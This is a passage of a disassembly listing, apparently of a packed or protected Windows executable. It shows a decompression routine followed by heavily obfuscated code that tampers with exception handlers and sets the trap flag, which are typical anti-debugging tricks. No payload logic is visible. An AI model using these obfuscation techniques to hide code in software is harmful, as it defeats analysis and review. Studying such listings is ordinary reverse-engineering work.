0E602AFCAh, 0D81DCB9Fh dd 0C8073B79h, 0F223E3C2h, 1DD2C0AFh, 25676A9Ch, 0F75E7EB5h dd 0BCB41372h, 0E0503FC3h, 0D50984E0h, 679DD891h, 42BF9716h dd 0A2CE4DDEh, 0F95DA2C1h, 225F2E5Bh, 6BC12913h, 21DFE6Ah dd 17C801DDh, 25538703h, 0EBB8B949h, 165F4395h, 5FA14E16h dd 25F477EFh, 9C27A25Eh, 31703780h, 96ABC237h, 269CF715h dd 0BEB825ECh, 896EB9FCh, 1D9C5D75h, 0E344B46Eh, 0F3BD377Ah dd 32CF59B0h, 3C8EAF8Eh, 27B9513Ch, 0F5666D2Ah, 35511024h dd 9ECE49FBh, 17CDD45Fh, 0F33D398Eh, 0F565D38Bh, 0CAF9ADE8h dd 99E91AF3h, 1C5748E4h, 859D7A41h, 0B5563C0Fh, 0A41B73Fh dd 1D7B051Fh, 0E696F74Fh, 8CDA3430h, 0E8345AB5h, 0C1E14680h dd 0F7A52685h, 0F59C16BDh, 7C3C2BFDh, 0EB762DB0h, 0FC6D59E7h dd 0BBB58AFh, 0ABFDFB6Eh, 2FC351DCh, 0C58065A2h, 82AA2236h dd 0C7B1C35Fh, 0DBBEDCBDh, 588BEF27h, 138175D2h, 2A36DCCDh dd 2814FDB5h, 89675B4Dh, 3B3731F0h, 0D5E3AD71h, 0B4BC7EDBh dd 0EECFAB5Bh, 0F0C53233h, 0BD27DB8Fh, 0C98AF9F7h, 56400000h dd 652Ch, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437008 proc near ; DATA XREF: sub_43FB9C+3Ao var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437187 SIZE 00000004 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cld push ebx push edi push esi mov [ebp+var_4], eax mov [ebp+var_8], edx mov esi, eax mov edi, edx cmp word ptr [esi], 434Ah jnz loc_43714A add esi, 0Ah mov [ebp+var_C], 8 xor ebx, ebx mov edx, 80000000h inc ebx loc_437039: ; CODE XREF: sub_437008+46j ; sub_437008+8Dj ... xor eax, eax call sub_437151 jnb short loc_437050 mov ecx, [ebp+var_10] call sub_437169 add al, [ebp+var_11] loc_43704D: ; CODE XREF: sub_437008+65j stosb jmp short loc_437039 ; --------------------------------------------------------------------------- loc_437050: ; CODE XREF: sub_437008+38j call sub_437151 jb loc_4370F2 call sub_437151 jnb short loc_4370BD mov ecx, 4 call sub_437169 dec eax jz short loc_43704D jns loc_43713C call sub_437151 jnb short loc_437097 push ebp loc_43707D: ; CODE XREF: sub_437008+8Aj mov ebp, 100h loc_437082: ; CODE XREF: sub_437008+83j call sub_43715E mov [edi], al inc edi dec ebp jnz short loc_437082 call sub_437151 jb short loc_43707D pop ebp jmp short loc_437039 ; --------------------------------------------------------------------------- loc_437097: ; CODE XREF: sub_437008+72j mov ecx, 1 call sub_437169 add eax, 7 mov [ebp+var_10], eax mov [ebp+var_11], 0 cmp eax, 8 jz short loc_437039 call sub_43715E mov [ebp+var_11], al jmp loc_437039 ; --------------------------------------------------------------------------- loc_4370BD: ; CODE XREF: sub_437008+58j mov ecx, 7 call sub_437169 push eax mov ecx, 2 call sub_437169 mov ecx, eax inc ecx inc ecx pop eax or eax, eax jz short loc_4370DF mov ebx, eax jmp short loc_43713D ; --------------------------------------------------------------------------- loc_4370DF: ; CODE XREF: sub_437008+D1j cmp ecx, 2 jz short loc_43714A inc ecx call sub_437169 mov [ebp+var_C], eax jmp loc_437039 ; --------------------------------------------------------------------------- loc_4370F2: ; CODE XREF: sub_437008+4Dj call sub_437175 dec ecx loop loc_437103 mov eax, ebx call sub_437175 jmp short loc_43713D ; --------------------------------------------------------------------------- loc_437103: ; CODE XREF: sub_437008+F0j dec ecx mov eax, ecx push ebp mov ecx, [ebp+var_C] mov ebp, eax xor eax, eax shl ebp, cl call sub_437169 or eax, ebp pop ebp mov ebx, eax call sub_437175 cmp eax, 10000h jnb short loc_43713A cmp eax, 37FFh jnb short loc_43713B cmp eax, 27Fh jnb short loc_43713C cmp eax, 7Fh ja short loc_43713D inc ecx loc_43713A: ; CODE XREF: sub_437008+11Cj inc ecx loc_43713B: ; CODE XREF: sub_437008+123j inc ecx loc_43713C: ; CODE XREF: sub_437008+67j ; sub_437008+12Aj inc ecx loc_43713D: ; CODE XREF: sub_437008+D5j ; sub_437008+F9j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_437039 ; --------------------------------------------------------------------------- loc_43714A: ; CODE XREF: sub_437008+19j ; sub_437008+DAj mov eax, esi pop esi pop edi pop ebx jmp short loc_437187 sub_437008 endp ; =============== S U B R O U T I N E ======================================= sub_437151 proc near ; CODE XREF: sub_437008+33p ; sub_437008:loc_437050p ... add edx, edx jnz short locret_43715D mov edx, [esi] add esi, 4 stc adc edx, edx locret_43715D: ; CODE XREF: sub_437151+2j retn sub_437151 endp ; =============== S U B R O U T I N E ======================================= sub_43715E proc near ; CODE XREF: sub_437008:loc_437082p ; sub_437008+A8p mov ecx, 8 call sub_437169 retn sub_43715E endp ; =============== S U B R O U T I N E ======================================= sub_437169 proc near ; CODE XREF: sub_437008+3Dp ; sub_437008+5Fp ... xor eax, eax loc_43716B: ; CODE XREF: sub_437169+9j call sub_437151 adc eax, eax loop loc_43716B retn sub_437169 endp ; =============== S U B R O U T I N E ======================================= sub_437175 proc near ; CODE XREF: sub_437008:loc_4370F2p ; sub_437008+F4p ... xor ecx, ecx inc ecx loc_437178: ; CODE XREF: sub_437175+Fj call sub_437151 adc ecx, ecx call sub_437151 jb short loc_437178 retn sub_437175 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437008 loc_437187: ; CODE XREF: sub_437008+147j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_437008 ; --------------------------------------------------------------------------- align 4 dword_43718C dd 1BCA8A0Fh, 8B530000h, 8F64672Fh, 87000006h, 87582404h ; CODE XREF: sub_439ED1+1519j ; DATA XREF: sub_43FB96o ... dd 71E92404h, 9C000019h, 7C39E9h, 81000000h, 5E5DAACAh dd 4EC281B8h, 81D8C0E9h, 81EEC4F2h, 81D5033Eh, 0DE7600C2h dd 88128B16h, 0CD4E902h, 0E9510000h, 739h, 0E9F1F0C3h dd 2E04h, 4C18100h, 89000000h, 4C18101h, 89000000h, 4C18101h dd 89000000h, 4C18101h, 0E9000000h, 2508h, 58240487h, 840FD209h dd 3779h, 2BC4850Fh, 72E90000h, 79h, 0B8E900C3h, 3Eh, 5F8707C6h dd 0CB5CD8Bh, 4909E924h, 0C30000h, 767FC981h, 0C181A687h dd 108B8391h, 0FBDE8h, 0FAE90000h, 79h, 0F1815900h, 0C9FB60F0h dd 59E5E981h, 0F1811FAFh, 0F6DF5548h, 43807F68h, 603CE900h dd 0 ; --------------------------------------------------------------------------- call sub_43E22A jmp loc_43D508 ; --------------------------------------------------------------------------- dw 5100h ; CODE XREF: sub_439ED1:loc_43A7BFj ; --------------------------------------------------------------------------- jmp loc_439FA2 ; --------------------------------------------------------------------------- align 2 pop eax sub eax, 0DEDACCB2h and eax, 37451541h add eax, 0FCFF0FBFh test ecx, eax pop eax jmp loc_43C49B ; --------------------------------------------------------------------------- db 2 dup(0), 23h dd 0FAEA81CDh, 8181415Dh, 80FF5DC2h, 50D50383h, 65554668h ; CODE XREF: sub_43F734:loc_43DAB2j dd 0C0D15822h, 5099E9h, 0CC8B0000h, 10C181h, 98B0000h dd 1301C7h, 0AAE90001h, 0C6000043h, 815B9C03h, 0B7177CE8h dd 0E1F081DAh, 0FDF419Dh, 6DB685h, 81520000h, 70EEFBC3h dd 599EE9F1h, 81000000h, 0A0C1h, 3801C700h, 3300438Bh dd 8DE959C0h, 5Fh, 1B8F0F00h, 23FFFFFFh, 8F6467F8h, 87000006h dd 81582404h, 5C5D98C0h, 3B0FE9A7h, 0 ; --------------------------------------------------------------------------- locret_437328: ; CODE XREF: _802izwe5:0043BF61j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43732B: ; CODE XREF: _802izwe5:0043D432j jmp locret_43E114 ; --------------------------------------------------------------------------- add esi, 10837D21h call sub_43C2EA ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43733B: ; CODE XREF: sub_43C65A-B27j jmp loc_43C71D ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dd 0BEE9CCF0h, 23h, 6FFD870Fh, 0F990000h, 6C5B8Ah, 8F646700h dd 87000006h, 0C6582404h, 0D6E98700h, 0F0000014h, 409FE9CCh dd 89000000h, 4C18101h, 89000000h, 4C18101h, 0E9000000h dd 7BE1h, 1000000h, 4C181h, 1C70000h, 43E932h, 0FFE9C033h dd 68000041h, 43EDA0h, 28E9E9h, 7AE9C300h, 54h, 93DE9h dd 3E91E900h, 0EB810000h, 0F99E2E60h, 95FC381h, 0F76857D2h dd 0E900438Dh, 10CBh, 0E900C300h, 4318h, 0FA3BCA0Bh, 71F3E9h dd 0E9C30000h, 28C7h, 8401E900h, 0 ; --------------------------------------------------------------------------- locret_4373EC: ; CODE XREF: _802izwe5:0043ED65j retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_43F688 loc_4373EE: ; CODE XREF: sub_43F688+37j jmp loc_43E7D7 ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4373F3: ; CODE XREF: sub_439ED1+7BAj jmp near ptr byte_43C6FD ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 35E90000h, 83000081h, 0F00F07Dh, 0F5A8Dh, 1CBFE900h ; CODE XREF: _802izwe5:00439BF0j dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43844A loc_437410: ; CODE XREF: sub_43844A+4j jno loc_43DD7D push edi push 33DC6507h pop edi add edi, 0EF84670Fh jmp loc_43EF53 ; END OF FUNCTION CHUNK FOR sub_43844A ; --------------------------------------------------------------------------- dd 0E9510000h, 7629h, 7E28150h, 0E957D9B4h, 2810h, 0FCB1300h ; CODE XREF: sub_439ED1+24FDj dd 36D787h, 6999E900h, 0ADE80000h, 0E900004Dh, 5D72h, 54E90000h dd 73h, 0E9C50B00h, 0B84h, 0C6F70000h, 0B32ED856h, 518DE9h dd 0CC8B0000h, 10C181h, 98B0000h, 1301C7h, 0C0330001h dd 4C181h, 1890000h, 4C181h, 0A4E90000h, 31h, 0E8240C87h dd 7753h, 0E3E90000h, 0Eh, 5361E9h, 87000000h, 0C8812404h dd 100h, 9D240487h, 61D6E990h, 0C6000000h, 685BF703h, 43A5D8h dd 3D01E9h, 0E9C20300h, 0D59h, 6FFF840Fh, 5EE90000h, 19h dd 0E90000C3h, 3CE9h, 0DEE90000h, 42h, 639BE900h, 66000000h dd 12E3C1CCh, 0F8D6815Fh, 81CAEB36h, 61F3F2F6h, 7E18E9C8h dd 8B560000h, 243487F1h, 41D8E9h, 0D8810000h, 0FF079127h dd 4B24E9h, 0F707C600h, 0C4E9815Fh, 810DD5C5h, 0C74AAC1h dd 0F96499D9h, 43D0C268h, 17D0E900h, 0 dd 41E9CC2Eh, 55h, 0C181CC8Bh, 10h, 1C7098Bh, 10013h, 18C181h ; CODE XREF: sub_439ED1+4CF0j dd 18A0000h, 9CC181h, 7FE90000h, 78h, 0EAF68100h, 3DECFBBh dd 2B00E8CEh, 1B000000h, 0E9C703F8h, 26ECh, 81990000h dd 69A320DEh, 4CDBE98Dh, 8B000000h, 0D1239CDFh, 40BE9h dd 0C3000000h, 6DE90000h, 0FFFFFCh, 372CE99Dh, 895E0000h dd 4C18101h, 89000000h, 0A0C18101h, 0E9000000h, 2D3Ah dd 5B8903C6h, 0AD81E081h, 0C081C298h, 68003F24h, 0D446E881h dd 4FE987E1h, 8100005Dh, 734383E1h, 0C1F74Eh, 0E9000040h dd 14CBh, 572DE951h, 0C1000000h, 0E6E90ECAh, 20h, 0A0C181h dd 1C70000h, 439611h, 1C87C033h, 5BCB8B24h, 9CE900C3h dd 0E9000083h, 5CD7h, 30000C3h, 1895ECEh, 4C181h, 1890000h dd 4C181h, 0BE90000h, 9C00004Fh, 87241C87h, 0DE8B2434h dd 6ACCE9h, 55000000h, 2C87E98Bh, 3F72E924h, 64000000h dd 42B9E9F1h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437668: ; CODE XREF: sub_439ED1+451j push ecx jmp loc_43783A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 8B00h db 0CCh ; --------------------------------------------------------------------------- add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] jmp loc_43AB29 ; --------------------------------------------------------------------------- test edx, eax jmp loc_43BE4A ; --------------------------------------------------------------------------- and edx, ecx xor edi, 82045946h add ecx, edi pop edi mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_4385E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4376AD: ; CODE XREF: sub_439ED1:loc_43BF6Ej pushf jmp loc_43CC0D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_4376B3: ; CODE XREF: sub_43C65A:loc_43BD82j add ecx, esi pop esi mov dword ptr [ecx], offset loc_438E78 xor eax, eax pop ecx jmp nullsub_4 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- xchg eax, [esp] or eax, 100h xchg eax, [esp] popf nop jmp loc_43ACDB ; --------------------------------------------------------------------------- align 4 sub edi, esi jmp loc_43BE36 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_4376E1: ; CODE XREF: sub_43DA03-1E2Dj ; DATA XREF: _802izwe5:0043E9A4o pop dword ptr fs:0 xchg eax, [esp-4+arg_0] pop eax js loc_43E682 jmp loc_43BF78 ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- loc_4376F6: ; CODE XREF: _802izwe5:0043EEE8j push ebx push 0BEF50C21h pop ebx sub ebx, 0B2EBAE4Fh add ebx, 625F68B0h and ebx, 0A9FBDF65h jmp loc_43A39B ; --------------------------------------------------------------------------- dd 0FFE98100h, 238AD817h, 0CE48BDCDh db 0E9h, 8Dh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437722: ; CODE XREF: sub_439ED1+4135j or esi, 1AC3A1EEh jmp near ptr dword_437548+2Dh ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43772E: ; CODE XREF: sub_439ED1:loc_43DD84j jnz loc_43C18E loc_437734: ; CODE XREF: sub_439ED1+843j jmp loc_43F6AF ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 loc_43773A: ; CODE XREF: _802izwe5:00439260j jmp loc_437AEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438026 loc_43773F: ; CODE XREF: sub_438026+305j jmp nullsub_35 ; END OF FUNCTION CHUNK FOR sub_438026 ; --------------------------------------------------------------------------- dd 7D8B0000h, 2F5BB00h, 39E937A7h, 4Ah, 3507E800h, 0 dd 0FA70880Fh, 0C7F7FFFFh, 741CB80Ah, 15E9h, 0F000000h dd 80808Ch db 0 ; =============== S U B R O U T I N E ======================================= sub_437775 proc near ; CODE XREF: sub_439ED1+2102p xchg edi, [esp+0] pop edi popf push edi mov edi, eax loc_43777D: ; CODE XREF: sub_439ED1:loc_43AB13j jmp loc_43A7C5 sub_437775 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jge loc_4383ED xchg esi, [esp] xchg ebp, [esp] mov esi, ebp pop ebp jmp loc_43CB93 ; --------------------------------------------------------------------------- dw 3300h ; CODE XREF: _802izwe5:0043E4FCj ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- mov eax, ebx loc_43779B: ; DATA XREF: _802izwe5:0043F8E7o pop dword ptr fs:0 xchg eax, [esp] xchg ebp, [esp] jmp loc_4380C1 ; --------------------------------------------------------------------------- dd 0C3130000h, 4BE2E9h, 0F000000h, 76B084h, 840F0000h dd 5C2Ch, 6534E9h, 68510000h, 2BEE3359h, 0DFC98159h, 0E8FB8626h dd 12ECh, 20E90000h, 3, 1B95E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_4377EB: ; CODE XREF: sub_43C65A:loc_43EC14j mov [ecx], eax push esi push 358947Dh pop esi and esi, 55834B0h sub esi, 0DBFC17EFh and esi, 38ADC75Ch xor esi, 2009C4E0h jmp loc_43BD82 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; CODE XREF: sub_439ED1:loc_43A21Fj dd 79E3E900h, 0CFE90000h, 5Ah, 0A1C08100h, 5584746Ch, 2C87E88Bh ; CODE XREF: _802izwe5:0043DF97j ; sub_43EACE-4D25j ; --------------------------------------------------------------------------- and al, 50h push edx ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_43782F: ; CODE XREF: sub_43DA03:loc_43BA15j mov edx, offset loc_43C1D2 jmp loc_43C016 ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43783A: ; CODE XREF: sub_439ED1-2868j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax push ebx push 70444D99h jmp loc_438581 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 241C8700h, 689C565Bh, 0D8F95E58h, 0EC6C15Eh, 6680E9h dd 0F000000h, 32A788h, 24148700h, 8B243487h, 0E99D5ED6h dd 5455h, 24048700h, 0D98B5358h, 8D241C87h, 43C3D505h dd 272BE800h, 45E90000h, 0F0000033h, 32F0E9F1h, 0 dd 607DE8h, 17E90000h, 0E900005Bh, 4B5h, 7027E99Ch, 0 ; --------------------------------------------------------------------------- mov eax, [esi] ; =============== S U B R O U T I N E ======================================= sub_4378C2 proc near ; CODE XREF: _802izwe5:loc_43D3AAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00438CB5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B3C8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043EF41 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax pop dword ptr fs:0 xchg eax, [esp-8+arg_4] pop eax or eax, eax jmp loc_438CB5 sub_4378C2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0, 3Bh, 0CBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4378DB: ; CODE XREF: sub_439ED1:loc_43A5FFj jmp loc_43DD06 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0E9F12600h, 5D0Fh, 22F08100h, 9D4C1FF7h, 5B94E8h ; CODE XREF: _802izwe5:0043AF9Fj ; _802izwe5:004398FAj db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E40D loc_4378F7: ; CODE XREF: sub_43E40D+1110j jmp loc_43A237 ; END OF FUNCTION CHUNK FOR sub_43E40D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4378FC: ; CODE XREF: sub_439ED1+2F71j jmp near ptr dword_437340+46h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- byte_437901 db 0C6h, 1, 3 ; DATA XREF: _802izwe5:loc_43EF5Ao dd 8B241C87h, 0A2E95BCBh, 3Ah, 42AE9C3h, 81000000h, 8EB679C2h dd 68D503BBh, 43ED60h, 0CECE9h, 58000000h, 0E04FC081h dd 0E0818F22h, 6E478D76h, 14D7F081h, 1EE96692h, 0Fh, 1C7098Bh dd 10013h, 18C181h, 18A0000h, 9CC181h, 1000000h, 0BF1E9h db 0 db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437963: ; CODE XREF: sub_439ED1:loc_43A948j ; _802izwe5:0043D226j not esi and esi, edi pop dword ptr fs:0 xchg eax, [esp+8+var_8] pop eax add ecx, edx pop edx mov ecx, [ecx] jmp loc_438C7A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 68h ; h db 40h ; @ db 0CFh ; Ï db 0Fh db 3Ah ; : db 87h ; ‡ db 3Ch ; < db 24h ; $ db 8Bh ; ‹ db 0C7h ; Ç db 5Fh ; _ db 0C1h ; Á db 0C0h ; À db 1Eh db 81h ; db 0F0h ; ð db 52h ; R db 4Bh ; K db 4Eh ; N db 75h ; u db 81h ; db 0C0h ; À db 0A1h ; ¡ db 6Ch ; l db 74h ; t db 84h ; „ db 0E9h ; é db 13h db 59h ; Y db 0 db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BAEA loc_43799B: ; CODE XREF: sub_43BAEA+Cj mov eax, ebp pop ebp or eax, 23EA27D1h call sub_4393E2 ; END OF FUNCTION CHUNK FOR sub_43BAEA ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4379A9: ; CODE XREF: sub_439ED1+2BAAj jmp near ptr dword_43922C+12h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- sbb ebx, esi ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4379B2: ; CODE XREF: sub_439ED1+1181j sub eax, 0ECE2492Bh add eax, 1C71D0B8h xor eax, 0C642C769h jmp loc_4384A5 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_4379C9: ; CODE XREF: _802izwe5:0043F8EFj xchg ebp, [esp] mov ecx, ebp pop ebp retn ; --------------------------------------------------------------------------- dd 69680000h, 5B725B81h, 148AE381h, 0C3C1B0F6h, 1DC38116h dd 0E937AA11h, 169Ah, 8C0F0000h, 74C4h, 6FE9DE03h, 0 dd 0E9F1F000h, 3426h, 0E9CC6400h, 0BC9h, 0C870000h, 241C8724h ; CODE XREF: sub_43CC6B+Cj dd 685BCB8Bh, 0B48FF1F5h, 0ACE2815Ah, 0E93455C0h, 78E6h dd 67530000h, 68F64h, 24048700h, 32D6E958h, 679C0000h dd 68F64h, 24048700h, 5912E958h, 87000000h, 9C5A2414h dd 21686A68h, 0CF815F96h, 0AE197057h, 8102C7C1h, 5E0660C7h dd 7695E907h, 81560000h, 0B84EC0E2h, 8F6467C3h, 87000006h dd 0E2E92404h, 51000041h, 722ABF57h, 0C9E90043h, 4Dh db 0 ; --------------------------------------------------------------------------- loc_437A8D: ; DATA XREF: sub_43844A:loc_439AE3o push offset dword_439C94 jmp loc_43A2E6 ; --------------------------------------------------------------------------- align 4 dd 0B48D0F00h, 2B00003Bh, 1BF081F2h, 39EFAFEh, 18958C8h dd 0A0C181h, 2EE90000h, 0FFFFF9h, 4C181h, 1890000h, 4C181h dd 1890000h, 0A0C181h, 1C70000h, 437F7Dh, 0ADE9C033h, 2Ch dd 81CC3600h, 0DD2227E6h, 7519E9DCh db 3 dup(0) ; --------------------------------------------------------------------------- loc_437AEB: ; CODE XREF: _802izwe5:loc_43773Aj xchg eax, [esp] pop eax pop edx loc_437AF0: ; DATA XREF: _802izwe5:0043D83Bo push eax push 282D3759h push eax push 30E753E5h pop eax jmp loc_43A93A ; --------------------------------------------------------------------------- dw 0C300h dd 0C300h, 49D7E9h, 0C6000000h, 34879C03h, 5EDE8B24h, 8B241C87h ; CODE XREF: sub_43C99E:loc_43DF4Dj dd 7A9CE9CBh, 0 ; --------------------------------------------------------------------------- loc_437B24: ; CODE XREF: _802izwe5:loc_43B95Fj add ecx, 9Ch add [ecx], al push edi push 7EF69E5Ch pop edi jmp loc_43A14D ; --------------------------------------------------------------------------- loc_437B38: ; DATA XREF: sub_439ED1+1DC6o push eax mov eax, offset loc_43F47E jmp loc_43F474 ; --------------------------------------------------------------------------- align 4 dd 0FB1E800h, 0 ; CODE XREF: sub_43D66E+AD9p ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438C04 loc_437B4C: ; CODE XREF: sub_438C04+Dj jmp loc_43BEB7 ; END OF FUNCTION CHUNK FOR sub_438C04 ; --------------------------------------------------------------------------- db 2 dup(0), 50h dd 217F689Ch, 0F0815DC9h, 0BC0A16D3h, 0FFFDC6E9h, 0C0C100FFh dd 24348715h, 0C468515Eh, 59F5F6E4h, 0B2CE9h, 0C30000h dd 49E1E9h, 2B000000h, 17C081FEh, 9002F1Eh, 0FC00900h dd 1CCC85h, 0CF6E900h, 0C6810000h, 6447C0C2h, 2F16E9h dd 0DF810000h, 31E2CD4Ch, 27DAE9h, 57000000h, 3C87F98Bh dd 1AB2E924h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_437BC0: ; CODE XREF: sub_43F18B-3A05j xchg eax, [esp+0] or eax, 100h xchg eax, [esp+0] popf nop jmp loc_43CF3B ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437BD4: ; CODE XREF: sub_439ED1+1DDj call sub_43F18B jmp loc_43A4E8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437BE0: ; CODE XREF: sub_439ED1+313j jl loc_43B0B8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; =============== S U B R O U T I N E ======================================= sub_437BE6 proc far ; CODE XREF: sub_439ED1+1E9Dp xchg ebx, [esp+0] pop ebx xchg esi, [esp+0] mov ecx, esi jmp near ptr sub_43F7BD sub_437BE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437BF4: ; CODE XREF: sub_439ED1+1B8j add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43B25C ; --------------------------------------------------------------------------- loc_437C09: ; CODE XREF: sub_439ED1+682j rol ebp, 1Bh loc_437C0C: ; DATA XREF: sub_437F24+4o pop dword ptr fs:0 xchg eax, [esp+0] xchg esi, [esp+0] mov eax, esi pop esi popf mov al, [eax] jmp loc_43C34C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437C24: ; CODE XREF: sub_439ED1:loc_4396FFj jnz loc_43A3C0 add [ebx+2BEF03EFh], cl jmp far ptr 0E800h:1B78E9h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 16h db 19h db 0 db 0 ; --------------------------------------------------------------------------- loc_437C3B: ; CODE XREF: _802izwe5:0043BDFAj jmp near ptr dword_43A640+2 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437C44: ; CODE XREF: sub_439ED1:loc_43EEA8j jmp loc_43A87C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 265Eh, 36FF6467h, 64670000h, 2689h, 0C1E9CC3Eh, 64h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_437C64: ; CODE XREF: sub_43C65A:loc_43993Fj xchg ebx, [esp+0] mov eax, offset loc_43BD68 jmp loc_4386FE ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E3D6 loc_437C71: ; CODE XREF: sub_43E3D6:loc_43BC55j mov [ecx], eax add ecx, 4 loc_437C79: ; CODE XREF: _802izwe5:0043BF86j mov [ecx], eax push edi push 6B2D520Dh pop edi sub edi, 68F429D7h add edi, 0E953F298h jmp loc_4394F4 ; END OF FUNCTION CHUNK FOR sub_43E3D6 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437C94: ; CODE XREF: sub_439ED1:loc_43C4DFj pop esi push ebx push 23AB75C3h pop ebx sub ebx, 6DBE7DCCh jmp loc_43ACD4 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_437CA7: ; CODE XREF: sub_43C65A+BAAj pop ecx sub ecx, 0D63C642h add ecx, 0C28E41F1h add edi, ecx pop ecx jmp loc_43B16F ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- loc_437CBC: ; CODE XREF: _802izwe5:0043957Dj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 jmp loc_43E1D2 ; --------------------------------------------------------------------------- db 2 dup(0), 51h ; --------------------------------------------------------------------------- jmp loc_43F0FA ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 42D719C7h, 2188E9E0h, 0C30000h, 49B9E9h, 81000000h dd 